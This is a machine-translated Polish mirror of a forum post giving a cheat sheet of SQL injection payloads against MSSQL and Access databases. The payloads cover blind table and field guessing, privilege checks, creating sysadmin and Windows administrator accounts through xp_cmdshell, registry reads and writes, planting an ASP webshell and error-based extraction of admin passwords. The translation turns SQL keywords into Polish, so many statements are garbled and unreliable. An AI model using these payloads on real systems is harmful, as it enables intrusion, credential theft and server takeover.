Ten artykuł jest lustrzanym artykułem tłumaczenia maszynowego, kliknij tutaj, aby przejść do oryginalnego artykułu.

Widok: 14167|Odpowiedź: 0

[Bezpieczna komunikacja] Typowe instrukcje SQL injection

[Skopiuj link]
Opublikowano 22.11.2014 17:17:21 | | |
1. Określić, czy dochodzi do zastrzyku
; oraz 1=1
; oraz 1=2

2. Wstępna ocena, czy jest to mssql
; oraz user>0

3. Ocenić system baz danych
; oraz (wybierz count(*) z sysobjects)>0 mssql
; oraz (wybierz count(*) z msysobjects)>0 dostępu

4. Parametr wstrzyknięcia to znak
'and [kryteria zapytania] oraz ''='

5. Podczas wyszukiwania nie ma filtrowanych parametrów
'and [kryteria zapytania] oraz '%25'='

6. Zgadnij nazwę stołu
; oraz (wybierz Count(*) z [nazwa tabeli])>0

7. Zgadnij pole
; oraz (wybierz Count(field name) z nazwy tabeli)>0

8. Zgadnij długość rekordu w polu
; oraz (wybierz top 1 len(nazwa pola) z nazwy tabeli)>0

9. (1) Zgaduj wartość ASCII pola (dostęp)
; oraz (wybierz top 1 ASC(mid(nazwa pola, 1,1)) z nazwy tabeli)>0

(2) Zgadnij wartość ASCII pola (mssql)
; oraz (wybierz top 1 unicode(substring(field name,1,1)) z nazwy tabeli)>0

10. Struktura uprawnień testowych (mssql)
; oraz 1=(wybierz IS_SRVROLEMEMBER('sysadmin')); --
; oraz 1=(wybierz IS_SRVROLEMEMBER('serveradmin')); --
; oraz 1=(wybierz IS_SRVROLEMEMBER('setupadmin')); --
; oraz 1=(wybierz IS_SRVROLEMEMBER('securityadmin')); --
; oraz 1=(wybierz IS_SRVROLEMEMBER('diskadmin')); --
; oraz 1=(wybierz IS_SRVROLEMEMBER('bulkadmin')); --
; oraz 1=(wybierz IS_MEMBER('db_owner')); --

11. Dodaj konto dla mssql i systemu
; nazwa użytkownika master.dbo.sp_addlogin wykonawcza; --
; exec master.dbo.sp_password null, nazwa użytkownika, hasło; --
; nazwa użytkownika administratora systemu executive master.dbo.sp_addsrvrolemember; --
; exec master.dbo.xp_cmdshell 'Net User Username, password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec, master.dbo.xp_cmdshell 'net username, password'; --
; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --

12. (1) Przejrzyj katalog
; Utwórz tabelę Directors(Paths Varchar(100), ID Int)
; Wstaw dirs exec master.dbo.xp_dirtree 'c:\'
; oraz (wybierz top 1 ścieżek z Dirs)>0
; oraz (wybierz top 1 ścieżek z kierunków, gdzie ścieżki nie należą do ('ścieżki uzyskane z poprzedniego kroku'))>)

(2) Przemierzanie katalogu
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; wstaw temp exec master.dbo.xp_availablemedia; -- Pobierz wszystkie napędy prądowe
; wstaw do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Pobierz listę podkatalogów
; wstaw do temp(id,num1) wynik master.dbo.xp_dirtree 'c:\'; -- Uzyskaj strukturę drzewa katalogów dla wszystkich podkatalogów
; wstaw do temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Zobacz zawartość pliku

13. Procedury przechowywane w mssql
xp_regenumvalues Klucz root rejestru, klucz potomny
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' zwraca wszystkie wartości kluczy w wielu zestawach rekordów
xp_regread Klucz główny, klucz potomny, nazwa klucz-wartość
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' zwraca wartość klucza zestawu
xp_regwrite Klucz główny, klucz potomny, nazwa wartości, typ wartości, wartość
Istnieją dwa typy wartości REG_SZ REG_DWORD dla typów znaków oraz dla liczb całkowitych
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName', 'reg_sz', 'hello' do rejestru
xp_regdeletevalue Klucz główny, podklucz, nazwa wartości
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' w celu usunięcia wartości
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey', aby usunąć klucz, w tym wszystkie wartości pod tym kluczem

14. Kopia zapasowa mssql tworzy webshell
Model użycia
create table cmd (str image);
wstaw do wartości cmd(str) ('<% Dim oScript %>');
model bazy zapasowej na dysk='c:\l.asp';

15. Funkcje wbudowane MSSQL
; oraz (wybierz @@version)>0, aby uzyskać numer wersji Windows
; oraz user_name()='dbo', aby określić, czy podłączony użytkownik obecnego systemu jest SA
; oraz (wybierz user_name()>0 Zniszczył podłączonych użytkowników obecnego systemu
; oraz (wybierz db_name()>0, aby uzyskać aktualnie połączoną bazę danych



Naruszenie ręcznie anotyzowanej bazy danych MSSQL

1. Udostępnij aktualną nazwę tabeli i kolumny
Wpisz "'having 1=1--" po punkcie wstrzyknięcia, aby otrzymać komunikat zwrotny po angielsku, w którym zobaczysz nazwę tabeli i kolumny. Wyślij "group by the list name having 1=1--", aby otrzymać inną nazwę kolumny; Kontynuuj grupowanie według listy nazwy odsłoniętej tabeli, nazwy odsłoniętej tabeli. Druga nazwa kolumny ma 1=1--", co daje kolejną nazwę kolumny. Commituj w ten sam sposób, aż strona przestanie zwracać komunikaty o błędach, aby uzyskać wszystkie nazwy kolumn. Ciekawostki: Nazwy tabel i kolumn typu violent są używane w połączeniu z GROUP BY w instrukcjach SQL do dokonywania ocen warunkowych. Ponieważ instrukcja jest niekompletna, baza danych zwraca komunikat o błędzie i wyświetla nazwę tabeli oraz nazwę kolumny. Podstawowa metoda może wyświetlić tylko aktualną tabelę w bazie danych, a jeśli tabela zawiera wiele nazw kolumn, bardzo trudno jest użyć podstawowej metody.

Po pierwsze. Wszystkie nazwy baz danych są ujawnione
Użyj polecenia "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])", aby wyświetlić dowolne nazwy tabel i kolumn w bazie danych, gdzie "[N]" oznacza N-tą tabelę w bazie.
Krok 1: Po wstrzyknięciu punktu złóż następujące oświadczenie: "and 0<>(select count(*) z master.dbo.sysdatabases gdzie nazwa>1 i dbid=12)", ponieważ wartość dbid to od 1 do 5, co jest używane przez system, więc użytkownik musiał ją zbudować z 6, a my przesłaliśmy nazwę>1, pole nazwy jest polem typu znaku, a porównanie liczb będzie błędne, więc po przesłaniu IE zwróci następujące informacje: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konwertuje wartość nvarchar 'Northwind' na typ danych int felieton. W ten sposób wartość pola nazwy zostaje ujawniona, czyli otrzymujemy nazwę bazy danych "Northwind". Zmiana wartości "dbid" pozwala uzyskać wszystkie nazwy baz danych.

oraz 0<>(wybierz count(*) z master.dbo.sysdatabases, gdzie nazwa>1 i dbid=[N])-- Zmodyfikuj N, aby usunąć wszystkie nazwy baz danych z 6


Po drugie. Udostępnij wszystkie nazwy tabel w określonej bazie danych
Po uzyskaniu nazwy bazy danych, musisz pobrać wszystkie nazwy tabel w bibliotece, przesłać następujące zdanie: "and 0<>(wybierz top 1 name z master.dbo.sysobjects where xtype='U')", tutaj jest nazwa tabeli w głównej bazie danych, a polecenie SQL zapytania zwraca wartość nazwy, a następnie porównaj ją z liczbą 0, aby wartość nazwy była ujawniona. Po złożeniu odsłoniętego stołu nazwa "'spt_monito została ujawniona.
Następnie inne tabele są eksponowane, a następującą instatacją wysyłane jest następujące zdanie: "and 0<>(wybierz pierwszą nazwę z master.dbo.sysobjects, gdzie xtype='U' i nazwa nie in('spt_monito'))", a następnie inna tabela o nazwie "cd512" jest eksponowana. Plik "and name not in(' spt_monito',' CD512',..))" Możesz poznać nazwy wszystkich stołów.

oraz 0<>(wybierz nazwę z górnej 1 z [określ nazwę bazy danych].dbo.sysobjects gdzie xtype='U')--
oraz 0<>(wybierz pierwszą nazwę z [określ nazwę bazy danych].dbo.sysobjects gdzie xtype='U' i nazwa nie ma w ('[Nazwa tabeli]')--
oraz 0<>(wybierz pierwszą nazwę z [określ nazwę bazy danych].dbo.sysobjects gdzie xtype='U' i nazwa nie ma w ('[Explosive table name]', '[Exploded second table name]')))--

4. Udostępnij wszystkie nazwy kolumn w określonej tabeli
oraz 0<>(wybierz count(*) z bbs.dbo.sysobjects gdzie xtype='U' oraz name='admin' oraz uid>(str(id)))
Przekonwertuj wartość ID na typ znaku, a następnie porównaj ją z wartością całkowitą. Numer ID już nie znam. Wartość to: 949578421 nazwa='nazwa tabeli'

oraz 0<>(wybierz pierwszą nazwę z wutong.dbo.syscolumns, gdzie id=949578421)-- Nazwa pola w tabeli administracyjnej jest ujawniona

Ponownie wyślij i 0<>(wybierz top 1 imię z wutong.dbo.syscolumns, gdzie id=949578421 i imię nie ma w ('adduser')))--
Plik "and name not in(' spt_monito',' CD512',..))" Wszystkie nazwy pól znajdziesz w tabeli administracyjnej.


oraz 0<>(wybierz count(*) z [określ nazwę bazy danych].dbo.sysobjects gdzie xtype='U' i name='[Nazwa tabeli pola do wybuchu]' oraz uid>(str(id)))--Wartość ID nazwy tabeli pola do eksplodacji

oraz 0<>(wybierz pierwszą nazwę z [określ nazwę bazy danych].dbo.syscolumns, gdzie id=wartość wybuchniętego ID)-- Nazwa pola w tabeli wartości eksplodującego id

oraz 0<>(wybierz pierwszą nazwę z [określ nazwę bazy danych].dbo.syscolumns, gdzie id=Wartość ID wybuchu, a nazwa nie w('[Nazwa pola]'))--



5. Odczytać dane w podanej tabeli

oraz 0<(wybierz A_ID z wutong.dbo.admin, gdzie A_UserID>1) — treści, które złamały A_PWD

oraz 0<(wybierz [pole istniejące] z [określ nazwę bazy danych].dbo.[nazwa tabeli do zapytania] gdzie [nazwa pola do wybuchowej zawartości]>1)--

oraz 0<(wybierz A_ID z wutong.dbo.admin, gdzie A_PWD>1 i A_UserID='admin') — hasło administratora zostaje ujawnione


oraz 0<(Wybierz Top 1 A_UserID OD administratora, gdzie A_ID<>1)-- Nazwa administratora id<>1 (fuhao)

oraz 0<(Wybierz Top 1 A_UserID OD administratora, gdzie A_ID <>1 i A_UserID <> 'fuhao')-- Imię drugiego administratora nie <> równe (tuiguang)

oraz 0<(Wybierz Top 1 A_UserID OD administratora, gdzie A_ID <>1 i A_UserID <> 'fuhao' i A_UserID <> 'tuiguang')--

Po poznaniu nazwy tabeli i nazwy kolumny bazy danych, możesz użyć "query command" do odczytania dowolnych informacji w bazie. Na przykład, jeśli chcesz odczytać N-te dane w kolumnie tabeli, możesz przesłać stwierdzenie: "and (Wybierz nazwę kolumny z nazwy tabeli z górnej 1 nazwy, gdzie id=[N])>1" ([N] oznacza N-te dane w kolumnie), a żądane dane możesz poznać na podstawie informacji zwracanych przez IE.






Poprzedni:Jak ukryć skompresowany plik RAR w pliku jpg
Następny:Zbierz "Harry Potter" 1~7 Wyjmij go i udostępnij Jeśli ci się nie podoba, nie spryskuj
Zrzeczenie się:
Całe oprogramowanie, materiały programistyczne lub artykuły publikowane przez Code Farmer Network służą wyłącznie celom edukacyjnym i badawczym; Powyższe treści nie mogą być wykorzystywane do celów komercyjnych ani nielegalnych, w przeciwnym razie użytkownicy ponoszą wszelkie konsekwencje. Informacje na tej stronie pochodzą z Internetu, a spory dotyczące praw autorskich nie mają z nią nic wspólnego. Musisz całkowicie usunąć powyższą zawartość z komputera w ciągu 24 godzin od pobrania. Jeśli spodoba Ci się program, wspieraj oryginalne oprogramowanie, kup rejestrację i korzystaj z lepszych, autentycznych usług. W przypadku naruszenia praw prosimy o kontakt mailowy.

Mail To:help@itsvse.com